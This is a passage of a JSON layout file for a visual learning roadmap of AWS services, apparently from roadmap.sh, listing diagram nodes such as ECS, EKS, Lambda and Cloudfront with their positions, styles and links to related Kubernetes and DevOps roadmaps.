\"center\"\n        },\n        \"oldId\": \"oWtWgaFznTPJhQIyfIIQf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 308,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 308\n      },\n      \"measured\": {\n        \"width\": 143,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 743.1117309868763,\n        \"y\": 2001.6040196516922\n      }\n    },\n    {\n      \"id\": \"KtXww9J0znwzTwL7GKfaY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 577.6102695476429,\n        \"y\": 2055.10765283861\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Capacity Settings\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yauCWo1VoG-X483-4mfdn\"\n      },\n      \"zIndex\": 999,\n      \"width\": 308,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 308\n      },\n      \"measured\": {\n        \"width\": 308,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 577.6102695476429,\n        \"y\": 2055.10765283861\n      }\n    },\n    {\n      \"id\": \"0ctJa-V6aenimSr5h303J\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 577.6102695476429,\n        \"y\": 2109.5480604087024\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Limits\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"NWvasq-AcwxmOKZPDv3ue\"\n      },\n      \"zIndex\": 999,\n      \"width\": 308,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 308\n      },\n      \"measured\": {\n        \"width\": 118,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 577.6102695476429,\n        \"y\": 2109.5480604087024\n      }\n    },\n    {\n      \"id\": \"NWvasq-AcwxmOKZPDv3ue\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 699.6102695476429,\n        \"y\": 2109.5480604087024\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Backup / Restore\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0C3GCGdSXozJK2MNeWerg\"\n      },\n      \"zIndex\": 999,\n      \"width\": 308,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 308\n      },\n      \"measured\": {\n        \"width\": 186,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 699.6102695476429,\n        \"y\": 2109.5480604087024\n      }\n    },\n    {\n      \"id\": \"yauCWo1VoG-X483-4mfdn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 578.5489426991847,\n        \"y\": 2164.4361419227207\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"DynamoDB Local\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"NWvasq-AcwxmOKZPDv3ue\"\n      },\n      \"zIndex\": 999,\n      \"width\": 308,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 308\n      },\n      \"measured\": {\n        \"width\": 308,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 578.5489426991847,\n        \"y\": 2164.4361419227207\n      }\n    },\n    {\n      \"id\": \"9TcYdsdmvKWWHoyE6uNbC\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 542.6102695476429,\n        \"y\": 2351.1759730815857\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"ElastiCache\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"741vsAPTXJLVUlazFg0q4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 136,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 542.6102695476429,\n        \"y\": 2351.1759730815857\n      }\n    },\n    {\n      \"id\": \"PYgs4niQRlLKCBMfM4qf9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 542.6102695476429,\n        \"y\": 2254.504462165696\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Quotas\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 99,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 542.6102695476429,\n        \"y\": 2254.504462165696\n      }\n    },\n    {\n      \"id\": \"_c_Wq84yIu4ac7e0RzDtC\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 768.7221880336245,\n        \"y\": 2351.1759730815857\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"ECR\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"741vsAPTXJLVUlazFg0q4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 79,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 768.7221880336245,\n        \"y\": 2351.1759730815857\n      }\n    },\n    {\n      \"id\": \"EqUT0wpdPRDGtGAZ7nneY\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 768.7221880336245,\n        \"y\": 2497.4586513526738\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"ECS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"741vsAPTXJLVUlazFg0q4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 77,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 768.7221880336245,\n        \"y\": 2497.4586513526738\n      }\n    },\n    {\n      \"id\": \"PphzNicIJawVElmY5rn8f\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 557.2221880336245,\n        \"y\": 2601.2494287730437\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Clusters / ECS Container Agents\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"OI8y54RhFpfS_l1L9VTZe\"\n      },\n      \"zIndex\": 999,\n      \"width\": 296,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 323,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 557.2221880336245,\n        \"y\": 2601.2494287730437\n      }\n    },\n    {\n      \"id\": \"1lHXxpoF11yE3rfoQCbTG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 558.2221880336245,\n        \"y\": 2654.2494287730437\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Tasks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zSiSbIdBgFLBBAnp4I9vX\"\n      },\n      \"zIndex\": 999,\n      \"width\": 87,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 558.2221880336245,\n        \"y\": 2654.2494287730437\n      }\n    },\n    {\n      \"id\": \"zSiSbIdBgFLBBAnp4I9vX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 734.2221880336245,\n        \"y\": 2654.2494287730437\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Services\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 110,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 146,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 734.2221880336245,\n        \"y\": 2654.2494287730437\n      }\n    },\n    {\n      \"id\": \"1r2FL3OEOh0S9ee0OVnrN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 557.2221880336245,\n        \"y\": 2707.2494287730437\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Launch Config / Autoscaling Groups\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"OI8y54RhFpfS_l1L9VTZe\"\n      },\n      \"zIndex\": 999,\n      \"width\": 320,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 323,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 557.2221880336245,\n        \"y\": 2707.2494287730437\n      }\n    },\n    {\n      \"id\": \"OI8y54RhFpfS_l1L9VTZe\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 557.2221880336245,\n        \"y\": 2760.2494287730437\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Fargate\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zSiSbIdBgFLBBAnp4I9vX\"\n      },\n      \"zIndex\": 999,\n      \"width\": 104,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 323,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 557.2221880336245,\n        \"y\": 2760.2494287730437\n      }\n    },\n    {\n      \"id\": \"kvHzEDZQV72AUjqisg8PB\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 322.66835944985576,\n        \"y\": 2497.4586513526738\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"EKS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"741vsAPTXJLVUlazFg0q4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 76,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 322.66835944985576,\n        \"y\": 2497.4586513526738\n      }\n    },\n    {\n      \"id\": \"741vsAPTXJLVUlazFg0q4\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 322.66835944985576,\n        \"y\": 2622.4586513526738\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Lambda\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 106,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 322.66835944985576,\n        \"y\": 2622.4586513526738\n      }\n    },\n    {\n      \"id\": \"SdCNevKjyhFcreMSWY6BT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -188.82566712696647,\n        \"y\": 2515.42666297887\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Creating / Invoking Functions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"EuOv19jDSj56Cy7PqvtNv\"\n      },\n      \"zIndex\": 999,\n      \"width\": 271,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 325,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -188.82566712696647,\n        \"y\": 2515.42666297887\n      }\n    },\n    {\n      \"id\": \"CL93C0NGFQmScVnftnRtO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -188.82566712696647,\n        \"y\": 2569.42666297887\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Layers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"T0dvezPWX6rAiKweT0TkG\"\n      },\n      \"zIndex\": 999,\n      \"width\": 94,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -188.82566712696647,\n        \"y\": 2569.42666297887\n      }\n    },\n    {\n      \"id\": \"KWjIAakMIlxn_jso22h0M\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -83.82566712696647,\n        \"y\": 2569.42666297887\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Custom Runtimes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5SF5nO94NFDkHY8UJoeAY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 180,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 220,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -83.82566712696647,\n        \"y\": 2569.42666297887\n      }\n    },\n    {\n      \"id\": \"75ZjuGozDfoZPLj32P2t2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -188.82566712696647,\n        \"y\": 2622.6897546984715\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Versioning / Aliases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"EuOv19jDSj56Cy7PqvtNv\"\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 325,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -188.82566712696647,\n        \"y\": 2622.6897546984715\n      }\n    },\n    {\n      \"id\": \"0CUfDEMwCwSHVdqkP8lOG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -188.3779931830401,\n        \"y\": 2674.8554606797597\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Event Bridge / Scheduled Execution\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"EuOv19jDSj56Cy7PqvtNv\"\n      },\n      \"zIndex\": 999,\n      \"width\": 323,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 325,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -188.3779931830401,\n        \"y\": 2674.8554606797597\n      }\n    },\n    {\n      \"id\": \"EuOv19jDSj56Cy7PqvtNv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -188.3779931830401,\n        \"y\": 2728.8554606797597\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Cold Start and Limitations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 242,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 325,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -188.3779931830401,\n        \"y\": 2728.8554606797597\n      }\n    },\n    {\n      \"id\": \"T0dvezPWX6rAiKweT0TkG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -188.82566712696647,\n        \"y\": 2782.8554606797597\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"API Gateway\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5SF5nO94NFDkHY8UJoeAY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 141,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 143,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -188.82566712696647,\n        \"y\": 2782.8554606797597\n      }\n    },\n    {\n      \"id\": \"5SF5nO94NFDkHY8UJoeAY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -40.825667126966465,\n        \"y\": 2782.8554606797597\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Lambda@Edge\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 163,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 177,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -40.825667126966465,\n        \"y\": 2782.8554606797597\n      }\n    },\n    {\n      \"width\": 410,\n      \"height\": 119,\n      \"id\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 70.1437907489559,\n        \"y\": 2889.9444507362514\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Continue learning with following roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"WHITe\"\n        },\n        \"oldId\": \"m9eO0jLGuR_9w2JJbe_g2\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 70.1437907489559,\n        \"y\": 2889.9444507362514\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 410,\n        \"height\": 119\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 473,\n        \"height\": 117\n      }\n    },\n    {\n      \"width\": 380,\n      \"height\": 49,\n      \"id\": \"UloavCkIvZnD1XMFohYVT\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 85.1437907489559,\n        \"y\": 2944.090108169361\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Kubernetes Roadmap\",\n        \"href\": \"https://roadmap.sh/kubernetes\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"OIcmPSbdsuWapb6HZ4BEi\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 85.1437907489559,\n        \"y\": 2944.090108169361\n      },\n      \"style\": {\n        \"width\": 380,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 74,\n      \"id\": \"ef-jFKMs8jw3Ti94jem96\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 380.2071705605491,\n        \"y\": 3006.9444507362514\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"RLtk1C3gofHnLJ17x3o5b\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 380.2071705605491,\n        \"y\": 3006.9444507362514\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 74\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 74\n      }\n    },\n    {\n      \"width\": 380,\n      \"height\": 49,\n      \"id\": \"OIcmPSbdsuWapb6HZ4BEi\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 309.9167081706737,\n        \"y\": 2944.090108169361\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DevOps Roadmap\",\n        \"href\": \"https://roadmap.sh/devops\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"cmSSwPPiiHwYh9ct14N6A\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 309.9167081706737,\n        \"y\": 2944.090108169361\n      },\n      \"style\": {\n        \"width\": 380,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zFgnu2fL0EUKIMz9tVH1j\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 322.16835944985576,\n        \"y\": 2352.1759730815857\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Cloudfront\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"741vsAPTXJLVUlazFg0q4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 124,\n      \"height\": 48,\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 322.16835944985576,\n        \"y\": 2352.1759730815857\n      }\n    },\n    {\n      \"id\": \"fAK7GRKunmoidlD32OBma\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 44.398169844996715,\n        \"y\": 2299.1759730815857\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Distributions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"hRXbAADgRTXEFwbBXeNu7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 172,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 172\n      },\n      \"measured\": {\n        \"width\": 172,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 44.398169844996715,\n        \"y\": 2299.1759730815857\n      }\n    },\n    {\n      \"id\": \"dO9ZfUyNia7L_fCh4d0n7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 44.398169844996715,\n        \"y\": 2352.1759730815857\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Policies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"hRXbAADgRTXEFwbBXeNu7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 172,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 172\n      },\n      \"measured\": {\n        \"width\": 172,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 44.398169844996715,\n        \"y\": 2352.1759730815857\n      }\n    },\n    {\n      \"id\": \"hRXbAADgRTXEFwbBXeNu7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 44.398169844996715,\n        \"y\": 2405.1759730815857\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Invalidations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 172,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 172\n      },\n      \"measured\": {\n        \"width\": 172,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 44.398169844996715,\n        \"y\": 2405.1759730815857\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Ji35JsKgUQXN4DJGEgTAC\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"Py9nst2FDJ1_hoXeX_qSF\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__Ji35JsKgUQXN4DJGEgTACx2-jrH1qE6EnFXL4fTyYU8gRw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Py9nst2FDJ1_hoXeX_qSF\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"74JxgfJ_1qmVNZ_QRp9Ne\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__jrH1qE6EnFXL4fTyYU8gRz2-74JxgfJ_1qmVNZ_QRp9Ney1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Py9nst2FDJ1_hoXeX_qSF\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"i4ijY3T5gLgNz0XqRipXe\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__jrH1qE6EnFXL4fTyYU8gRz2-i4ijY3T5gLgNz0XqRipXey1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        